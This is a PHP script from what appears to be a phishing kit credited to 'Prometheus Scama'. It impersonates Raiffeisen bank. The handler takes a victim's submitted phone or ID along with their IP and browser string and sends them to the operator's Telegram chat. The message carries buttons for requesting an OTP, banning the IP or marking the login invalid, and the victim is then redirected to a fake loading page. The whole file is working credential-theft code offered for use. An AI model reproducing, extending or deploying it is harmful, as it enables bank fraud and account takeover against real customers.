<?php
defined('SECURE_CONTEXT') || define('SECURE_CONTEXT', true);
require_once dirname(__DIR__, 3) . '/app/anti.php';

if ($_SESSION['humain'] === true && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $id = trim($_POST['id'] ?? '');
    
    if (!empty($id)) {
        $_SESSION['id'] = htmlspecialchars($id, ENT_QUOTES, 'UTF-8');

        $get = fn($key) => htmlspecialchars($_SESSION[$key] ?? 'N/A', ENT_QUOTES, 'UTF-8');

        $text = <<<EOT
<b>📩 +1 RAIFFEISEN LOG</b>

<b>📱 PHONE ➟</b> <code>{$get('id')}</code>

<b>🌐 IP ➟</b> <code>{$get('ip')}</code>
<b>🌐 UA ➟</b> <code>{$get('ua')}</code>

<blockquote><b>Powered By 🛕 Prometheus Scama ® - @earthshakinggg
🛕 Author : Prometheus - @earthshakinggg</b></blockquote>
EOT;

        if ($CONFIG['webhook_buttons'] == true) {
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ip}"],
                    ],
                    [
                        ['text' => '📱 OTP 📱', 'callback_data' => "raiffotp={$ip}"],
                        ['text' => '🚪 FIN 🚪', 'callback_data' => "success={$ip}"]
                    ],
                    [
                        ['text' => '❌ LOG INVALIDE ❌', 'callback_data' => "raifflogin_error={$ip}"],
                    ],
                ]
            ];
        } else {
            $whBase = web_url('app/webhook.php');
            $buttons = [
                'inline_keyboard' => [
                    [
                        ['text' => '🗑️ BAN IP 🗑️', 'url' => "{$whBase}?ban={$ipQuery}"],
                    ],
                    [
                        ['text' => '📱 OTP 📱', 'url' => "{$whBase}?raiffotp={$ipQuery}"],
                        ['text' => '🚪 FIN 🚪', 'url' => "{$whBase}?success={$ipQuery}"]
                    ],
                    [
                        ['text' => '❌ LOG INVALIDE ❌', 'url' => "{$whBase}?raifflogin_error={$ipQuery}"],
                    ],
                ]
            ];
        }

        sendMessage($CONFIG['chat_id'], $text, $buttons);

        $_SESSION['load'] = '';

        header('Location: ../../loading/');
        exit;
    } else {
        $_SESSION['login-error'] = 'Les champs sont obligatoires.';
        header('Location: ../?error');
        exit;
    }
} else {
    header('Location: ../../../support/index.html');
    exit;
}
